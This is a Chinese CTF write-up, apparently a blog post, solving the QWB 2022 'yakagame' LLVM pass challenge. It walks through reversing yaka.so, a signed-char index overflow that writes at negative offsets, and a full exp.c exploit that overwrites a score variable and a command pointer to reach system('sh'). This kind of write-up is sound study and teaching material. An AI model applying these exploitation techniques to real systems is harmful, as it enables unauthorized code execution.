这是LLVM PASS PWN的第三篇,这里笔者将记录学习强网杯2022 yakagame这道LLVM PASS PWN题
之前的文章链接:
下载后发现了三个文件opt-8 readme.md yaka.so
,先读一下readme.md
you can upload your exp code and when you think your exp code is good,just attack it
'''bash
opt-8 -load ./yaka.so -ayaka ./exp.ll
'''
will execte
和CISCN 2021 satool一样给出了运行格式
直接拿yaka.so文件进行逆向分析,和之前一样直接去找重写runOnFunction
函数,在vtable最后
跟进这个函数
和上一篇一样的思路,开启调试,前面经过笔者的分析之后发现PASS会对gamestart这个函数进行优化,exp.c首先如下
#include <stdio.h> int gamestart(){ return 0; }
成功跑进,但是跑一会之后直接brek退出程序了,原因和上一篇一样,测试程序直接return 0了,所以我们往下看一下有没有功能处理
找到了一个fight处理函数,值得注意的是下面还有个地方调用了backdoor函数,但是需要score大于0x12345678,getNumOperands返回的是被调用函数的参数个数+1,验证一下即可
#include <stdio.h> void fight(int a){ } void gamestart(){ fight(1); }
验证之后的确是这样的,接着往下看ZExtValue其实就是weaponlist的索引,会从weapon_list中取出对应索引的值,然后与boss进行比较
如果大于等于boss则win,并获得分数,如果小于boss则loss,最后如果分数大于0x12345678则进backdoor,继续看下面的功能函数
首先是merge,merge有两个参数,取出两个参数,并找到对应的weaponlist的值然后相加
然后是destroy,destroy有一个参数,取出参数,将对应的weaponlist的值改为0
接着是upgrade,有一个参数,然后weaponlist里面的每个值都加上一参
上面对cmd进行了异或,加,减,cmd是backdoor里面system的参数,但是是乱码,这说明我们可以使用这些函数将cmd构造成想要的东西然后跳转执行bk
如果函数名不是上面所说的那就会跳转到这里进行处理,需要一参,这里直接看太难了,上动态调试,exp.c如下
#include <stdio.h> void fight(int a){ } void merge(int a, int b){ } void destroy(int a){ } void upgrade(int a){ } void wuxiangdeyidao(){ } void zhanjinniuza(){ } void guobapenhuo(){ } void tiandongwanxiang(){ } void z1r001(int a){ } void gamestart(){ z1r001(1); }
首先会遍历map查找是否有这个函数名,如果遇到不认识的函数就会用funMap
存起来,如下可以看见z1r001函数已经被存放到funmap中
那遇见已经被funmap存起来的的函数名会怎么办,继续调试,exp.c如下
#include <stdio.h> void fight(int a){ } void merge(int a, int b){ } void destroy(int a){ } void upgrade(int a){ } void wuxiangdeyidao(){ } void zhanjinniuza(){ } void guobapenhuo(){ } void tiandongwanxiang(){ } void z1r001(int a){ } void z1r002(int a){ } void z1r003(int a){ } void gamestart(){ z1r001(1); z1r001(1); z1r001(1); z1r001(1); z1r001(1); }
一参已经放入weaponlist中了,但是这么多一样的函数名的一参却只占用本来应该占用的位置,并不会继续往下添加,经过调试分析之后发现只能写到对应的位置,所以想要继续往下填weaponlist的值就得用不一样的函数名,更加需要注意的是函数名不能乱,遍历的时候是按照函数名大小遍历的
至此逆向分析结束,那漏洞点出在哪里呢,如下,v33是有符号char类型的,有符号char类型的范围是-128 ~ +127
如果v33为127的时候,再加上1,那么v33不会是128而是-128,再加的时候则是-127,看一下weaponlist旁边有没有什么敏感的数据
看到了score,之前分析过score大于0x12345678的时候会调用backdoor,所以我们可以利用漏洞加到-0x10这个位置将score给改成一个指向特别大的地址的地址,所以我们可以先写一个程序批量生成128 * 2个从小到大的函数名,这样可以直接负数溢出完score的位置,并给里面的值都赋上0
for i in range(128 * 2): print('void z1r0{0:003}'.format(i) + '(int a){}') for i in range(128 * 2): print('z1r0{0:003}'.format(i) + '(0);')
接着算一下score在哪里255是-1,所以240是-0x10,从240开始改一个字节一个字节的改score,score可以改成什么呢,因为opt-8没有开pie所以我们可以改score为一个got表地址,这样子的话score指向的地址的内容就大于0x12345678了
最后想起来cmd需要解密一下,但是我们还有另一种方法,因为我们可以控制cmd,所以我们可以打cmd为sh,可以直接ropgadget获得sh的地址
最终可以执行到system("sh");
exp如下
#include <stdio.h> void fight(int a){ } void merge(int a, int b){ } void destroy(int a){ } void upgrade(int a){ } void wuxiangdeyidao(){ } void zhanjinniuza(){ } void guobapenhuo(){ } void tiandongwanxiang(){ } void z1r0000(int a){} void z1r0001(int a){} void z1r0002(int a){} void z1r0003(int a){} void z1r0004(int a){} void z1r0005(int a){} void z1r0006(int a){} void z1r0007(int a){} void z1r0008(int a){} void z1r0009(int a){} void z1r0010(int a){} void z1r0011(int a){} void z1r0012(int a){} void z1r0013(int a){} void z1r0014(int a){} void z1r0015(int a){} void z1r0016(int a){} void z1r0017(int a){} void z1r0018(int a){} void z1r0019(int a){} void z1r0020(int a){} void z1r0021(int a){} void z1r0022(int a){} void z1r0023(int a){} void z1r0024(int a){} void z1r0025(int a){} void z1r0026(int a){} void z1r0027(int a){} void z1r0028(int a){} void z1r0029(int a){} void z1r0030(int a){} void z1r0031(int a){} void z1r0032(int a){} void z1r0033(int a){} void z1r0034(int a){} void z1r0035(int a){} void z1r0036(int a){} void z1r0037(int a){} void z1r0038(int a){} void z1r0039(int a){} void z1r0040(int a){} void z1r0041(int a){} void z1r0042(int a){} void z1r0043(int a){} void z1r0044(int a){} void z1r0045(int a){} void z1r0046(int a){} void z1r0047(int a){} void z1r0048(int a){} void z1r0049(int a){} void z1r0050(int a){} void z1r0051(int a){} void z1r0052(int a){} void z1r0053(int a){} void z1r0054(int a){} void z1r0055(int a){} void z1r0056(int a){} void z1r0057(int a){} void z1r0058(int a){} void z1r0059(int a){} void z1r0060(int a){} void z1r0061(int a){} void z1r0062(int a){} void z1r0063(int a){} void z1r0064(int a){} void z1r0065(int a){} void z1r0066(int a){} void z1r0067(int a){} void z1r0068(int a){} void z1r0069(int a){} void z1r0070(int a){} void z1r0071(int a){} void z1r0072(int a){} void z1r0073(int a){} void z1r0074(int a){} void z1r0075(int a){} void z1r0076(int a){} void z1r0077(int a){} void z1r0078(int a){} void z1r0079(int a){} void z1r0080(int a){} void z1r0081(int a){} void z1r0082(int a){} void z1r0083(int a){} void z1r0084(int a){} void z1r0085(int a){} void z1r0086(int a){} void z1r0087(int a){} void z1r0088(int a){} void z1r0089(int a){} void z1r0090(int a){} void z1r0091(int a){} void z1r0092(int a){} void z1r0093(int a){} void z1r0094(int a){} void z1r0095(int a){} void z1r0096(int a){} void z1r0097(int a){} void z1r0098(int a){} void z1r0099(int a){} void z1r0100(int a){} void z1r0101(int a){} void z1r0102(int a){} void z1r0103(int a){} void z1r0104(int a){} void z1r0105(int a){} void z1r0106(int a){} void z1r0107(int a){} void z1r0108(int a){} void z1r0109(int a){} void z1r0110(int a){} void z1r0111(int a){} void z1r0112(int a){} void z1r0113(int a){} void z1r0114(int a){} void z1r0115(int a){} void z1r0116(int a){} void z1r0117(int a){} void z1r0118(int a){} void z1r0119(int a){} void z1r0120(int a){} void z1r0121(int a){} void z1r0122(int a){} void z1r0123(int a){} void z1r0124(int a){} void z1r0125(int a){} void z1r0126(int a){} void z1r0127(int a){} void z1r0128(int a){} void z1r0129(int a){} void z1r0130(int a){} void z1r0131(int a){} void z1r0132(int a){} void z1r0133(int a){} void z1r0134(int a){} void z1r0135(int a){} void z1r0136(int a){} void z1r0137(int a){} void z1r0138(int a){} void z1r0139(int a){} void z1r0140(int a){} void z1r0141(int a){} void z1r0142(int a){} void z1r0143(int a){} void z1r0144(int a){} void z1r0145(int a){} void z1r0146(int a){} void z1r0147(int a){} void z1r0148(int a){} void z1r0149(int a){} void z1r0150(int a){} void z1r0151(int a){} void z1r0152(int a){} void z1r0153(int a){} void z1r0154(int a){} void z1r0155(int a){} void z1r0156(int a){} void z1r0157(int a){} void z1r0158(int a){} void z1r0159(int a){} void z1r0160(int a){} void z1r0161(int a){} void z1r0162(int a){} void z1r0163(int a){} void z1r0164(int a){} void z1r0165(int a){} void z1r0166(int a){} void z1r0167(int a){} void z1r0168(int a){} void z1r0169(int a){} void z1r0170(int a){} void z1r0171(int a){} void z1r0172(int a){} void z1r0173(int a){} void z1r0174(int a){} void z1r0175(int a){} void z1r0176(int a){} void z1r0177(int a){} void z1r0178(int a){} void z1r0179(int a){} void z1r0180(int a){} void z1r0181(int a){} void z1r0182(int a){} void z1r0183(int a){} void z1r0184(int a){} void z1r0185(int a){} void z1r0186(int a){} void z1r0187(int a){} void z1r0188(int a){} void z1r0189(int a){} void z1r0190(int a){} void z1r0191(int a){} void z1r0192(int a){} void z1r0193(int a){} void z1r0194(int a){} void z1r0195(int a){} void z1r0196(int a){} void z1r0197(int a){} void z1r0198(int a){} void z1r0199(int a){} void z1r0200(int a){} void z1r0201(int a){} void z1r0202(int a){} void z1r0203(int a){} void z1r0204(int a){} void z1r0205(int a){} void z1r0206(int a){} void z1r0207(int a){} void z1r0208(int a){} void z1r0209(int a){} void z1r0210(int a){} void z1r0211(int a){} void z1r0212(int a){} void z1r0213(int a){} void z1r0214(int a){} void z1r0215(int a){} void z1r0216(int a){} void z1r0217(int a){} void z1r0218(int a){} void z1r0219(int a){} void z1r0220(int a){} void z1r0221(int a){} void z1r0222(int a){} void z1r0223(int a){} void z1r0224(int a){} void z1r0225(int a){} void z1r0226(int a){} void z1r0227(int a){} void z1r0228(int a){} void z1r0229(int a){} void z1r0230(int a){} void z1r0231(int a){} void z1r0232(int a){} void z1r0233(int a){} void z1r0234(int a){} void z1r0235(int a){} void z1r0236(int a){} void z1r0237(int a){} void z1r0238(int a){} void z1r0239(int a){} void z1r0240(int a){} void z1r0241(int a){} void z1r0242(int a){} void z1r0243(int a){} void z1r0244(int a){} void z1r0245(int a){} void z1r0246(int a){} void z1r0247(int a){} void z1r0248(int a){} void z1r0249(int a){} void z1r0250(int a){} void z1r0251(int a){} void z1r0252(int a){} void z1r0253(int a){} void z1r0254(int a){} void z1r0255(int a){} void gamestart(){ //decode tiandongwanxiang(); wuxiangdeyidao(); zhanjinniuza(); guobapenhuo(); tiandongwanxiang(); tiandongwanxiang(); tiandongwanxiang(); tiandongwanxiang(); tiandongwanxiang(); tiandongwanxiang(); tiandongwanxiang(); tiandongwanxiang(); tiandongwanxiang(); wuxiangdeyidao(); zhanjinniuza(); z1r0000(0); z1r0001(0); z1r0002(0); z1r0003(0); z1r0004(0); z1r0005(0); z1r0006(0); z1r0007(0); z1r0008(0); z1r0009(0); z1r0010(0); z1r0011(0); z1r0012(0); z1r0013(0); z1r0014(0); z1r0015(0); z1r0016(0); z1r0017(0); z1r0018(0); z1r0019(0); z1r0020(0); z1r0021(0); z1r0022(0); z1r0023(0); z1r0024(0); z1r0025(0); z1r0026(0); z1r0027(0); z1r0028(0); z1r0029(0); z1r0030(0); z1r0031(0); z1r0032(0); z1r0033(0); z1r0034(0); z1r0035(0); z1r0036(0); z1r0037(0); z1r0038(0); z1r0039(0); z1r0040(0); z1r0041(0); z1r0042(0); z1r0043(0); z1r0044(0); z1r0045(0); z1r0046(0); z1r0047(0); z1r0048(0); z1r0049(0); z1r0050(0); z1r0051(0); z1r0052(0); z1r0053(0); z1r0054(0); z1r0055(0); z1r0056(0); z1r0057(0); z1r0058(0); z1r0059(0); z1r0060(0); z1r0061(0); z1r0062(0); z1r0063(0); z1r0064(0); z1r0065(0); z1r0066(0); z1r0067(0); z1r0068(0); z1r0069(0); z1r0070(0); z1r0071(0); z1r0072(0); z1r0073(0); z1r0074(0); z1r0075(0); z1r0076(0); z1r0077(0); z1r0078(0); z1r0079(0); z1r0080(0); z1r0081(0); z1r0082(0); z1r0083(0); z1r0084(0); z1r0085(0); z1r0086(0); z1r0087(0); z1r0088(0); z1r0089(0); z1r0090(0); z1r0091(0); z1r0092(0); z1r0093(0); z1r0094(0); z1r0095(0); z1r0096(0); z1r0097(0); z1r0098(0); z1r0099(0); z1r0100(0); z1r0101(0); z1r0102(0); z1r0103(0); z1r0104(0); z1r0105(0); z1r0106(0); z1r0107(0); z1r0108(0); z1r0109(0); z1r0110(0); z1r0111(0); z1r0112(0); z1r0113(0); z1r0114(0); z1r0115(0); z1r0116(0); z1r0117(0); z1r0118(0); z1r0119(0); z1r0120(0); z1r0121(0); z1r0122(0); z1r0123(0); z1r0124(0); z1r0125(0); z1r0126(0); z1r0127(0); //-128 z1r0128(0); z1r0129(0); z1r0130(0); z1r0131(0); z1r0132(0); z1r0133(0); z1r0134(0); z1r0135(0); z1r0136(0); z1r0137(0); z1r0138(0); z1r0139(0); z1r0140(0); z1r0141(0); z1r0142(0); z1r0143(0); z1r0144(0); z1r0145(0); z1r0146(0); z1r0147(0); z1r0148(0); z1r0149(0); z1r0150(0); z1r0151(0); z1r0152(0); z1r0153(0); z1r0154(0); z1r0155(0); z1r0156(0); z1r0157(0); z1r0158(0); z1r0159(0); z1r0160(0); z1r0161(0); z1r0162(0); z1r0163(0); z1r0164(0); z1r0165(0); z1r0166(0); z1r0167(0); z1r0168(0); z1r0169(0); z1r0170(0); z1r0171(0); z1r0172(0); z1r0173(0); z1r0174(0); z1r0175(0); z1r0176(0); z1r0177(0); z1r0178(0); z1r0179(0); z1r0180(0); z1r0181(0); z1r0182(0); z1r0183(0); z1r0184(0); z1r0185(0); z1r0186(0); z1r0187(0); z1r0188(0); z1r0189(0); z1r0190(0); z1r0191(0); z1r0192(0); z1r0193(0); z1r0194(0); z1r0195(0); z1r0196(0); z1r0197(0); z1r0198(0); z1r0199(0); z1r0200(0); z1r0201(0); z1r0202(0); z1r0203(0); z1r0204(0); z1r0205(0); z1r0206(0); z1r0207(0); z1r0208(0); z1r0209(0); z1r0210(0); z1r0211(0); z1r0212(0); z1r0213(0); z1r0214(0); z1r0215(0); z1r0216(0); z1r0217(0); z1r0218(0); z1r0219(0); z1r0220(0); z1r0221(0); z1r0222(0); z1r0223(0); z1r0224(0); z1r0225(0); z1r0226(0); z1r0227(0); z1r0228(0); z1r0229(0); z1r0230(0); z1r0231(0); //-0x18 z1r0232(0xbd); z1r0233(0xa4); z1r0234(0x6e); z1r0235(0); z1r0236(0); z1r0237(0); z1r0238(0); z1r0239(0); //-0x10 z1r0240(0xf0); z1r0241(0xde); z1r0242(0x77); z1r0243(0); z1r0244(0); z1r0245(0); z1r0246(0); z1r0247(0); z1r0248(0); z1r0249(0); z1r0250(0); z1r0251(0); z1r0252(0); z1r0253(0); z1r0254(0); //-1 z1r0255(0); z1r0232(0xbd); z1r0233(0xa4); z1r0234(0x6e); z1r0240(0xf0); z1r0241(0xde); z1r0242(0x77); fight(0); }
总体来说题目不是太难,还是得动静结合进行分析,梳理出程序逻辑
https://blog.csdn.net/qq_54218833/article/details/126081315?spm=1001.2014.3001.5502